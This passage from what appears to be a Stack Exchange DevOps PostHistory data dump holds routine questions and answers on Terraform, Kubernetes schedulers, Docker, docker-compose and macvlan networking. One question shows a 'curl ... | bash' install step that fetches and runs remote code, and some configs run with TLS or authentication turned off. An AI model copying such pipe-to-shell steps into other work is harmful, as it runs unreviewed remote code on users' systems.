&quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;after_two&quot; {&#xD;&#xA;  depends_on = [null_resource.two]&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='after_two'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Output&#xD;&#xA;```&#xD;&#xA;null_resource.before_one: Creating...&#xD;&#xA;null_resource.before_one: Provisioning with 'local-exec'...&#xD;&#xA;null_resource.after_two: Creating...&#xD;&#xA;null_resource.after_two: Provisioning with 'local-exec'...&#xD;&#xA;null_resource.after_two (local-exec): Executing: [&quot;/bin/sh&quot; &quot;-c&quot; &quot;NAME='after_two'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;]&#xD;&#xA;null_resource.after_two (local-exec): after_two&#xD;&#xA;null_resource.before_one (local-exec): Executing: [&quot;/bin/sh&quot; &quot;-c&quot; &quot;NAME='before_one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;]&#xD;&#xA;null_resource.before_one (local-exec): before_one&#xD;&#xA;null_resource.after_two (local-exec): after_two&#xD;&#xA;null_resource.before_one (local-exec): before_one&#xD;&#xA;null_resource.after_two (local-exec): after_two&#xD;&#xA;null_resource.before_one (local-exec): before_one&#xD;&#xA;null_resource.after_two: Creation complete after 3s [id=3913800421589569159]&#xD;&#xA;null_resource.before_one: Creation complete after 3s [id=9135396498225807226]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38651" PostHistoryTypeId="1" PostId="12587" RevisionGUID="0e5c9f1a-073c-4493-86bc-143b56cf9841" CreationDate="2020-10-16T12:39:17.400" UserId="24345" Text="Terraform | depends_on causes sequence problems for incremental updates" ContentLicense="CC BY-SA 4.0" />
  <row Id="38652" PostHistoryTypeId="3" PostId="12587" RevisionGUID="0e5c9f1a-073c-4493-86bc-143b56cf9841" CreationDate="2020-10-16T12:39:17.400" UserId="24345" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38653" PostHistoryTypeId="2" PostId="12588" RevisionGUID="88f22e20-668e-4a9d-8fd9-0d5260be9578" CreationDate="2020-10-16T15:59:55.117" UserId="6374" Text="I ended up using the `cyrilgdn/postgresql` provider which allowed be to create/destroy db as needed&#xD;&#xA;&#xD;&#xA;    terraform {&#xD;&#xA;      required_providers {&#xD;&#xA;        hashiaws = {&#xD;&#xA;          source  = &quot;hashicorp/aws&quot;&#xD;&#xA;          version = &quot;~&gt; 3.4.0&quot;&#xD;&#xA;        }&#xD;&#xA;        postgresql = {&#xD;&#xA;          source  = &quot;cyrilgdn/postgresql&quot;&#xD;&#xA;          version = &quot;1.7.2&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      required_version = &quot;&gt;= 0.13&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    provider &quot;postgresql&quot; {&#xD;&#xA;      host             = local.db_url&#xD;&#xA;      port             = local.db_port&#xD;&#xA;      database         = local.db_name&#xD;&#xA;      username         = local.db_usr&#xD;&#xA;      password         = local.db_pwd&#xD;&#xA;      sslmode          = &quot;disable&quot;&#xD;&#xA;      connect_timeout  = 15&#xD;&#xA;      expected_version = local.db_eng_ver&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The only downside to this solution is that the server you are running TF on will need to have access to the RDS manage instance  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38656" PostHistoryTypeId="50" PostId="9216" RevisionGUID="b17dbb7e-c2f1-4228-8907-14966955ba2a" CreationDate="2020-10-17T00:06:40.667" UserId="-1" />
  <row Id="38657" PostHistoryTypeId="2" PostId="12589" RevisionGUID="5124b972-ed88-4f63-80ce-8d672e30fbb2" CreationDate="2020-10-17T12:04:42.143" UserId="24361" Text="I tried to add a new scheduler to the master node as a static POD. &#xD;&#xA;I create the yaml file and save it.&#xD;&#xA;The pod as been created and his state is running but the container is unable to start.&#xD;&#xA;&#xD;&#xA;the kubectl output:&#xD;&#xA;```&#xD;&#xA;NAME                                   READY   STATUS    RESTARTS   AGE&#xD;&#xA;my-scheduler                           0/1     Running   5          28m&#xD;&#xA;```&#xD;&#xA;I tried to see reason in the events and saw the reason `cannot join network of a non running container` and the last event with error:&#xD;&#xA;```&#xD;&#xA;Startup probe failed: Get &quot;https://127.0.0.1:10251/healthz&quot;: http: server gave HTTP response to HTTPS client&#xD;&#xA;```&#xD;&#xA;I tried to send GET request to http URL and got `OK` answer but https answer was a error:&#xD;&#xA;```&#xD;&#xA;curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number&#xD;&#xA;```&#xD;&#xA;also I tried to get the scheduler log and got:&#xD;&#xA;```&#xD;&#xA;    I1016 18:47:15.779350       1 registry.go:173] Registering SelectorSpread plugin&#xD;&#xA;    I1016 18:47:15.779753       1 registry.go:173] Registering SelectorSpread plugin&#xD;&#xA;    I1016 18:47:15.791161       1 registry.go:173] Registering SelectorSpread plugin&#xD;&#xA;    I1016 18:47:15.791191       1 registry.go:173] Registering SelectorSpread plugin&#xD;&#xA;    W1016 18:47:15.794300       1 authorization.go:47] Authorization is disabled&#xD;&#xA;    W1016 18:47:15.794518       1 authentication.go:40] Authentication is disabled&#xD;&#xA;    I1016 18:47:15.794695       1 deprecated_insecure_serving.go:51] Serving healthz insecurely on [::]:10251&#xD;&#xA;```&#xD;&#xA;scheduler file:&#xD;&#xA;``` YAML&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: null&#xD;&#xA;  labels:&#xD;&#xA;    component: my-scheduler&#xD;&#xA;    tier: control-plane&#xD;&#xA;  name: my-scheduler&#xD;&#xA;  namespace: kube-system&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - command:&#xD;&#xA;    - kube-scheduler&#xD;&#xA;    - --authentication-kubeconfig=/etc/kubernetes/scheduler.conf&#xD;&#xA;    - --authorization-kubeconfig=/etc/kubernetes/scheduler.conf&#xD;&#xA;    - --bind-address=127.0.0.1&#xD;&#xA;    - --kubeconfig=/etc/kubernetes/scheduler.conf&#xD;&#xA;    - --leader-elect=false&#xD;&#xA;    - --scheduler-name=my-scheduler&#xD;&#xA;    - --port=10251&#xD;&#xA;    - --secure-port=0&#xD;&#xA;    image: k8s.gcr.io/kube-scheduler:v1.19.0&#xD;&#xA;    imagePullPolicy: IfNotPresent&#xD;&#xA;    livenessProbe:&#xD;&#xA;      failureThreshold: 8&#xD;&#xA;      httpGet:&#xD;&#xA;        host: 127.0.0.1&#xD;&#xA;        path: /healthz&#xD;&#xA;        port: 10251&#xD;&#xA;        scheme: HTTPS&#xD;&#xA;      initialDelaySeconds: 10&#xD;&#xA;      periodSeconds: 10&#xD;&#xA;      timeoutSeconds: 15&#xD;&#xA;    name: my-scheduler&#xD;&#xA;    resources:&#xD;&#xA;      requests:&#xD;&#xA;        cpu: 100m&#xD;&#xA;    startupProbe:&#xD;&#xA;      failureThreshold: 24&#xD;&#xA;      httpGet:&#xD;&#xA;        host: 127.0.0.1&#xD;&#xA;        path: /healthz&#xD;&#xA;        port: 10251&#xD;&#xA;        scheme: HTTPS&#xD;&#xA;      initialDelaySeconds: 10&#xD;&#xA;      periodSeconds: 10&#xD;&#xA;      timeoutSeconds: 15&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - mountPath: /etc/kubernetes/scheduler.conf&#xD;&#xA;      name: kubeconfig&#xD;&#xA;      readOnly: true&#xD;&#xA;  hostNetwork: true&#xD;&#xA;  priorityClassName: system-node-critical&#xD;&#xA;  volumes:&#xD;&#xA;  - hostPath:&#xD;&#xA;      path: /etc/kubernetes/scheduler.conf&#xD;&#xA;      type: FileOrCreate&#xD;&#xA;    name: kubeconfig&#xD;&#xA;status: {}&#xD;&#xA;```&#xD;&#xA;what am I doing wrong? What is the right way to config the scheduler? " ContentLicense="CC BY-SA 4.0" />
  <row Id="38658" PostHistoryTypeId="1" PostId="12589" RevisionGUID="5124b972-ed88-4f63-80ce-8d672e30fbb2" CreationDate="2020-10-17T12:04:42.143" UserId="24361" Text="Kubernetes: Custom second scheduler container unable to start" ContentLicense="CC BY-SA 4.0" />
  <row Id="38659" PostHistoryTypeId="3" PostId="12589" RevisionGUID="5124b972-ed88-4f63-80ce-8d672e30fbb2" CreationDate="2020-10-17T12:04:42.143" UserId="24361" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38660" PostHistoryTypeId="2" PostId="12590" RevisionGUID="749c6e20-96c7-4aa5-91f9-c81673964a28" CreationDate="2020-10-17T20:42:00.153" UserId="16456" Text="The problem seems to be that the ubuntu:latest image is stale.&#xD;&#xA;Changing to ubuntu:bionic fixes the issue:&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:bionic AS toolchain&#xD;&#xA;ENV DEBIAN_FRONTEND=noninteractive&#xD;&#xA;RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;  build-essential \&#xD;&#xA;  g++-5&#xD;&#xA;```&#xD;&#xA;I don't know why an old image is being used, but that seems like a separate question." ContentLicense="CC BY-SA 4.0" />
  <row Id="38662" PostHistoryTypeId="2" PostId="12592" RevisionGUID="169ed629-8579-432a-bbb1-81d05dbec45b" CreationDate="2020-10-18T14:54:44.850" UserId="24364" Text="I wanted to ask you guys, what is it good practice if I have docker-compose&#xD;&#xA;and inside:&#xD;&#xA;nginx ( as a web proxy )&#xD;&#xA;2 little backend services&#xD;&#xA;1 frontend&#xD;&#xA;1 keycloak&#xD;&#xA;&#xD;&#xA;for now its for low traffic needs, so 1 good machine will handle it.&#xD;&#xA;But I am wondering about frontend, can it be standalone dockerized image ? ( that builds frontend and serves it via its own nginx ), or maybe better just build it and pass built frontend to nginx from compose file ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38663" PostHistoryTypeId="1" PostId="12592" RevisionGUID="169ed629-8579-432a-bbb1-81d05dbec45b" CreationDate="2020-10-18T14:54:44.850" UserId="24364" Text="Good practive for frontend+backend in docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="38664" PostHistoryTypeId="3" PostId="12592" RevisionGUID="169ed629-8579-432a-bbb1-81d05dbec45b" CreationDate="2020-10-18T14:54:44.850" UserId="24364" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38668" PostHistoryTypeId="2" PostId="12594" RevisionGUID="14ae21d6-a052-463e-a583-3ee0e19c12f3" CreationDate="2020-10-18T17:12:19.177" UserId="11527" Text="We would like to automate the installation &amp; configuration of below components in kubernetes control plane:&#xD;&#xA;&#xD;&#xA; - controller manager&#xD;&#xA; - cloud controller manager&#xD;&#xA; - etcd&#xD;&#xA; - kube API server&#xD;&#xA; - kube scheduler&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;----------------------&#xD;&#xA;&#xD;&#xA;We are currently using below procedure to create cluster setup:&#xD;&#xA;&#xD;&#xA;    export KUBERNETES_PROVIDER=aws&#xD;&#xA;    export KUBE_AWS_ZONE=eu-central-ia&#xD;&#xA;    export NODE_SIZE=t2.small&#xD;&#xA;    &#xD;&#xA;    curl -sS https://get.k8s.io | bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does GoLang API provide any support on automation of creation and maintenance of these components in control plane? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38669" PostHistoryTypeId="1" PostId="12594" RevisionGUID="14ae21d6-a052-463e-a583-3ee0e19c12f3" CreationDate="2020-10-18T17:12:19.177" UserId="11527" Text="GoLang API support for creating kubernetes cluster setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="38670" PostHistoryTypeId="3" PostId="12594" RevisionGUID="14ae21d6-a052-463e-a583-3ee0e19c12f3" CreationDate="2020-10-18T17:12:19.177" UserId="11527" Text="&lt;kubernetes&gt;&lt;go&gt;&lt;google-kubernetes-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38672" PostHistoryTypeId="2" PostId="12595" RevisionGUID="0603ac45-7016-4448-bf85-7da52ddd178c" CreationDate="2020-10-19T01:37:01.863" UserId="24367" Text="I want to practice deploying app on real environment while I am learning Kubernetes. Do you know any affordable cloud platform for this purpose?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38673" PostHistoryTypeId="1" PostId="12595" RevisionGUID="0603ac45-7016-4448-bf85-7da52ddd178c" CreationDate="2020-10-19T01:37:01.863" UserId="24367" Text="best Kubernetes platform for deploying apps while learning" ContentLicense="CC BY-SA 4.0" />
  <row Id="38674" PostHistoryTypeId="3" PostId="12595" RevisionGUID="0603ac45-7016-4448-bf85-7da52ddd178c" CreationDate="2020-10-19T01:37:01.863" UserId="24367" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38678" PostHistoryTypeId="4" PostId="12592" RevisionGUID="d65a0679-5838-402c-881f-422787f7aa8c" CreationDate="2020-10-19T09:16:32.627" UserId="23898" Comment="titel correction" Text="Good practice for frontend+backend in docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="38679" PostHistoryTypeId="24" PostId="12592" RevisionGUID="d65a0679-5838-402c-881f-422787f7aa8c" CreationDate="2020-10-19T09:16:32.627" Comment="Proposed by 23898 approved by 24364 edit id of 1286" ContentLicense="CC BY-SA 4.0" />
  <row Id="38680" PostHistoryTypeId="2" PostId="12597" RevisionGUID="933ebc65-aa3a-49cc-8284-cc410f07eb1d" CreationDate="2020-10-19T14:10:56.767" UserId="24374" Text="Is it possible to tell kubernetes, that when performing a deployment of multiple pods that it should start only one at a time and only create the next pod if the previous has completely started up?&#xD;&#xA;&#xD;&#xA;It would be useful in our usecase:&#xD;&#xA;Our application automatically migrates/upgrades the database when starting up. But when there are multiple pods starting up at the same time, it could happen that multiple pods try to upgrade the database at the same time which could corrupt the database.&#xD;&#xA;&#xD;&#xA;But if kubernetes would wait with starting up the second pod until the first pod has fully started up, it would mean that the database has been correctly upgraded by then.&#xD;&#xA;&#xD;&#xA;If kubernetes does not have such functionality, how would you handle such a case?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38681" PostHistoryTypeId="1" PostId="12597" RevisionGUID="933ebc65-aa3a-49cc-8284-cc410f07eb1d" CreationDate="2020-10-19T14:10:56.767" UserId="24374" Text="Start only one pod at a time in kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="38682" PostHistoryTypeId="3" PostId="12597" RevisionGUID="933ebc65-aa3a-49cc-8284-cc410f07eb1d" CreationDate="2020-10-19T14:10:56.767" UserId="24374" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38683" PostHistoryTypeId="2" PostId="12598" RevisionGUID="edf189a1-b54f-442f-9d82-6365f5ce0641" CreationDate="2020-10-19T14:50:37.797" UserId="323" Text="Is there a way with docker-compose to allow extension fields to add fields to a list? &#xD;&#xA;&#xD;&#xA;I've tried a whole bunch of combinations, but haven't seen if there's a way to do this&#xD;&#xA;&#xD;&#xA;What I want to do is have a set list of volumes (in a list) and then a few more.  &#xD;&#xA;&#xD;&#xA;I've got this at the top:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;x-dev-volumes: &amp;dev-volumes&#xD;&#xA; volumes:&#xD;&#xA; - /root/keys:/var/run/keys:z&#xD;&#xA; - /root/vltpwd:/var/run/vltpwd:z&#xD;&#xA; - /root/config.ini:/var/run/config.ini:z&#xD;&#xA; - ./inventory:/runner/inventory:z&#xD;&#xA; - ./group_vars:/runner/playbooks/group_vars:z&#xD;&#xA; - ./host_vars:/runner/playbooks/host_vars:z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then this later on. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; &lt;&lt;: *dev-volumes&#xD;&#xA; - ./build/playbooks:/runner/playbooks:z&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and I'll have a different different sub-directory for playbooks.  Is there any way to use anchors, aliases, extensions, etc... to add something to a list or should I just give up and get WET (as opposed to DRY)? " ContentLicense="CC BY-SA 4.0" />
  <row Id="38684" PostHistoryTypeId="1" PostId="12598" RevisionGUID="edf189a1-b54f-442f-9d82-6365f5ce0641" CreationDate="2020-10-19T14:50:37.797" UserId="323" Text="How to add to a list for a Docker yaml extension" ContentLicense="CC BY-SA 4.0" />
  <row Id="38685" PostHistoryTypeId="3" PostId="12598" RevisionGUID="edf189a1-b54f-442f-9d82-6365f5ce0641" CreationDate="2020-10-19T14:50:37.797" UserId="323" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38686" PostHistoryTypeId="2" PostId="12599" RevisionGUID="e29183f5-59a8-4668-a94d-b3ba891e96f4" CreationDate="2020-10-19T15:16:33.880" UserId="17329" Text="I am trying to install nginx-ingress on openshift 3.11 (okd), I have disabled router, everything is set, but ingress doesn't work, any idea what I may be missing" ContentLicense="CC BY-SA 4.0" />
  <row Id="38687" PostHistoryTypeId="1" PostId="12599" RevisionGUID="e29183f5-59a8-4668-a94d-b3ba891e96f4" CreationDate="2020-10-19T15:16:33.880" UserId="17329" Text="Install nginx-ingress from helm on openshift 3.11 with disabled ha router" ContentLicense="CC BY-SA 4.0" />
  <row Id="38688" PostHistoryTypeId="3" PostId="12599" RevisionGUID="e29183f5-59a8-4668-a94d-b3ba891e96f4" CreationDate="2020-10-19T15:16:33.880" UserId="17329" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38689" PostHistoryTypeId="2" PostId="12600" RevisionGUID="54792cfb-640c-4d95-872c-64f386491e9f" CreationDate="2020-10-19T16:15:25.607" UserId="24376" Text="I'd like to run a docker container that operates a layer 2 bridge to its hosts wired LAN. This will let me encapsulate the VPN setup into a nice composable docker image. However, I can't figure out how to persuade macvlan to actually pass over traffic from a bridge running in the container. This is my setup:&#xD;&#xA;&#xD;&#xA;&gt; sudo docker network create -d macvlan --subnet=10.0.0.0/24&#xD;&#xA;&gt; --gateway=10.0.0.1 -o parent=eth0 macnet32&#xD;&#xA;&#xD;&#xA;Start image here:&#xD;&#xA;&#xD;&#xA;&gt; sudo docker run -it --rm --net=macnet32 --privileged  --cap-add=NET_ADMIN --cap-add=SYS_ADMIN --device=/dev/net/tun balenalib/rpi-raspbian:stretch&#xD;&#xA;&#xD;&#xA;Install tools we might need:&#xD;&#xA;&#xD;&#xA;&gt; apt-get update -qq &amp;&amp; apt-get install -qq telnet net-tools bash bridge-utils iproute2 tcpdump netcat iputils-ping&#xD;&#xA;&#xD;&#xA;At this point, I have a virtualized Mac address &#xD;&#xA;&#xD;&#xA;    root@47a06376b029:/# ip a&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    42: eth0@if2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default &#xD;&#xA;        link/ether 02:42:0a:00:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 10.0.0.2/24 brd 10.0.0.255 scope global eth0&#xD;&#xA;&#xD;&#xA;I can also see broadcast traffic on the docker host's LAN if I snoop using tcpdump on eth0. So far so good.&#xD;&#xA;&#xD;&#xA;Next, I reconfigure eth0 onto a bridge:&#xD;&#xA;&#xD;&#xA;    ip addr del 10.0.0.2/24 dev eth0&#xD;&#xA;    ip link add br0 type bridge&#xD;&#xA;    ip link set eth0 master br0&#xD;&#xA;    ip link set br0 up&#xD;&#xA;    ip addr add 10.0.0.2/24 dev br0&#xD;&#xA;    ip route add default via 10.0.0.1&#xD;&#xA;&#xD;&#xA;Now I can tcpdump on br0, see the hosts network traffic, etc. Good so far. &#xD;&#xA;&#xD;&#xA;The problem comes with I add into the br0 a virtual NIC from ZeroTier:&#xD;&#xA;&#xD;&#xA;    ip link set ztzlgjibd7 master bro&#xD;&#xA;&#xD;&#xA;Once I do this, the docker container can see traffic and IP addresses both locally and on the VPN and can freely ping and TCP connect to services both on the LAN and within the virtual network. Nodes on the VPN network are able to see broadcast traffic originating from the docker host's physical network. So packets are flowing from the docker host's lan to the br0 device inside the docker container and then getting pushed out to the VPN. But this appears to be one way only -- traffic on the VPN network is not getting mirrored back to the docker's local LAN. For instance, if I ping a client on the VPN network from the local host network, I can see the arp requests for that IP address appear at that remote client as it should. However, traffic does not pass back from the VPN to the local host network. Thus I can't ping or connect between the networks. &#xD;&#xA;&#xD;&#xA;Is this a limitation of macvlan?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38690" PostHistoryTypeId="1" PostId="12600" RevisionGUID="54792cfb-640c-4d95-872c-64f386491e9f" CreationDate="2020-10-19T16:15:25.607" UserId="24376" Text="How do you run a layer 2 bridge and VPN inside docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38691" PostHistoryTypeId="3" PostId="12600" RevisionGUID="54792cfb-640c-4d95-872c-64f386491e9f" CreationDate="2020-10-19T16:15:25.607" UserId="24376" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38692" PostHistoryTypeId="2" PostId="12601" RevisionGUID="1b23a46b-237f-4c11-9f28-cd7f56fa4145" CreationDate="2020-10-19T17:44:54.770" UserId="22856" Text="Here you could create a lock table inside your database, then the first pod would take the lock and then run the update. Other pods startup scripts would wait for the lock to be released before starting the application. A simpler solution is to run a pod inside a job for upgrading the database before launching the application." ContentLicense="CC BY-SA 4.0" />
  <row Id="38694" PostHistoryTypeId="2" PostId="12602" RevisionGUID="571823f7-ae2a-42ba-a3d3-2ad508f1c8c4" CreationDate="2020-10-19T21:13:24.650" UserId="24385" Text="I'm trying to find a workaround for this that isn't incredibly slow. I'm trying to download a large data folder from a Kubernetes pod for reupload to another cluster that is not connected to the outside internet. As stated, it's a very large folder, in excess of 4GB total.&#xD;&#xA;&#xD;&#xA;Downloading via `kubectl cp` works, but when trying to reupload the pod runs out of memory. From my understanding of how kubectl cp works under the hood, the memory burden is on the receiving end, which needs to receive the entire tarball from stdin and hold it in memory before unpacking it, so that makes sense.&#xD;&#xA;&#xD;&#xA;I'm trying to find a way to break up the folder contents into chunks in a way that is both fast and conserves memory. I can iterate through the entire folder and its subfolders and run a `kubectl cp` for each one, and it works, but it's incredibly slow and inefficient." ContentLicense="CC BY-SA 4.0" />
  <row Id="38695" PostHistoryTypeId="1" PostId="12602" RevisionGUID="571823f7-ae2a-42ba-a3d3-2ad508f1c8c4" CreationDate="2020-10-19T21:13:24.650" UserId="24385" Text="Copying a large number of files (&gt;4GB) into a Kubernetes pod results in error code 137" ContentLicense="CC BY-SA 4.0" />
  <row Id="38696" PostHistoryTypeId="3" PostId="12602" RevisionGUID="571823f7-ae2a-42ba-a3d3-2ad508f1c8c4" CreationDate="2020-10-19T21:13:24.650" UserId="24385" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38697" PostHistoryTypeId="2" PostId="12603" RevisionGUID="aba89e7c-08a5-412d-a559-9b4a43d34b60" CreationDate="2020-10-20T03:44:15.250" UserId="7118" Text="I'm not sure if *trunk-based development* is strictly the right term here, but let me outline the process. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Say I have some code like: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;//utils.js&#xD;&#xA;function someFunction(foo, bar) {&#xD;&#xA;   //implementation &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;//main.js&#xD;&#xA;main() {&#xD;&#xA;     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I've picked up a task to: &#xD;&#xA;&#xD;&#xA;&gt; Replace someFunction with someOtherFunction that accepts a single a 'biz' parameter'. &#xD;&#xA;&#xD;&#xA;Now, I've given a very small piece of code here, but lets say that actually that new function involves creating some other functions etc, and also I'm going to be replacing it in multiple places. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now one way I might do this, is to do a 'big shebang' PR and just do all of the work in a single PR: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;//utils.js&#xD;&#xA;-function someFunction(foo, bar) {&#xD;&#xA;-   // implementation&#xD;&#xA;-}&#xD;&#xA;+function someOtherFunction(biz) {&#xD;&#xA;+   // implmentation &#xD;&#xA;+}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;//main.js&#xD;&#xA;main() {&#xD;&#xA;-     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;+     someOtherFunction(&quot;biz&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem with this is that these commits can end up being very big (a recent one affected 200 files), which makes the PR process cumbersome. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Instead, I could structure my work so that I submit several small PRs: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. Create the new function &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+function someOtherFunction(biz) {&#xD;&#xA;+   // implmentation &#xD;&#xA;+}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. Convert the callers over the using the new function &#xD;&#xA;```&#xD;&#xA;main() {&#xD;&#xA;-     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;+     someOtherFunction(&quot;biz&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;3. Remove the old function &#xD;&#xA;```&#xD;&#xA;-function someFunction(foo, bar) {&#xD;&#xA;-   // implementation&#xD;&#xA;-}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having with this approach is the way that these PRs end up looking, at least on Bitbucket. &#xD;&#xA;&#xD;&#xA;PR1 is fine. &#xD;&#xA;&#xD;&#xA;But until PR1 is merged, then PR2, if PR2 is pointed at trunk, contains the diff of both PR1 and PR2. &#xD;&#xA;&#xD;&#xA;And again on PR3. &#xD;&#xA;&#xD;&#xA;This means that until PR1, and then PR2, then I still have the same 'large diff' issues on my PRs. &#xD;&#xA;&#xD;&#xA;You might just say that 'The problem is that PR1 isn't being merged quick enough', which is fair enough. But I will say that it's not immediately obvious that PR2 is waiting for PR1 to be merged first (unless I you explicitly make a comment). &#xD;&#xA;&#xD;&#xA;The other problem you can have is that say you get some feedback on PR1, 'it shouldn't be called `someOtherFunction` call it `someBizFunction`'. I make that change, but then then I need pull that change in to PR2 and PR3. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any suggestions for thinking about this kind of problem? " ContentLicense="CC BY-SA 4.0" />
  <row Id="38698" PostHistoryTypeId="1" PostId="12603" RevisionGUID="aba89e7c-08a5-412d-a559-9b4a43d34b60" CreationDate="2020-10-20T03:44:15.250" UserId="7118" Text="Trunk based (or similar) development, and small commits that depend on each other" ContentLicense="CC BY-SA 4.0" />
  <row Id="38699" PostHistoryTypeId="3" PostId="12603" RevisionGUID="aba89e7c-08a5-412d-a559-9b4a43d34b60" CreationDate="2020-10-20T03:44:15.250" UserId="7118" Text="&lt;git&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38700" PostHistoryTypeId="2" PostId="12604" RevisionGUID="bac5b464-fa48-40bf-b0e8-d2f28123c9d3" CreationDate="2020-10-20T07:47:17.000" UserId="24372" Text="We are currently migrating our Services to a Kubernetes environment.&#xD;&#xA;&#xD;&#xA;My question is if the configuration yaml file for each application &#xD;&#xA;- should be in the repository where the application source itself is stored, &#xD;&#xA;- or if there should be a centralized repository just for all the configuration files.&#xD;&#xA;&#xD;&#xA;Currently I'm drifting more towards a centralized repository holding all configs, as dependencies on different versions of applications / services can be managed there. Another thing is that a change in the configuration should not trigger a rebuild of the application itself and this is also easier if the configuration and the application repositories are not the same." ContentLicense="CC BY-SA 4.0" />
  <row Id="38701" PostHistoryTypeId="1" PostId="12604" RevisionGUID="bac5b464-fa48-40bf-b0e8-d2f28123c9d3" CreationDate="2020-10-20T07:47:17.000" UserId="24372" Text="One Repository für Kubernetes configuration or one configuration per application repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="38702" PostHistoryTypeId="3" PostId="12604" RevisionGUID="bac5b464-fa48-40bf-b0e8-d2f28123c9d3" CreationDate="2020-10-20T07:47:17.000" UserId="24372" Text="&lt;kubernetes&gt;&lt;configuration-management&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
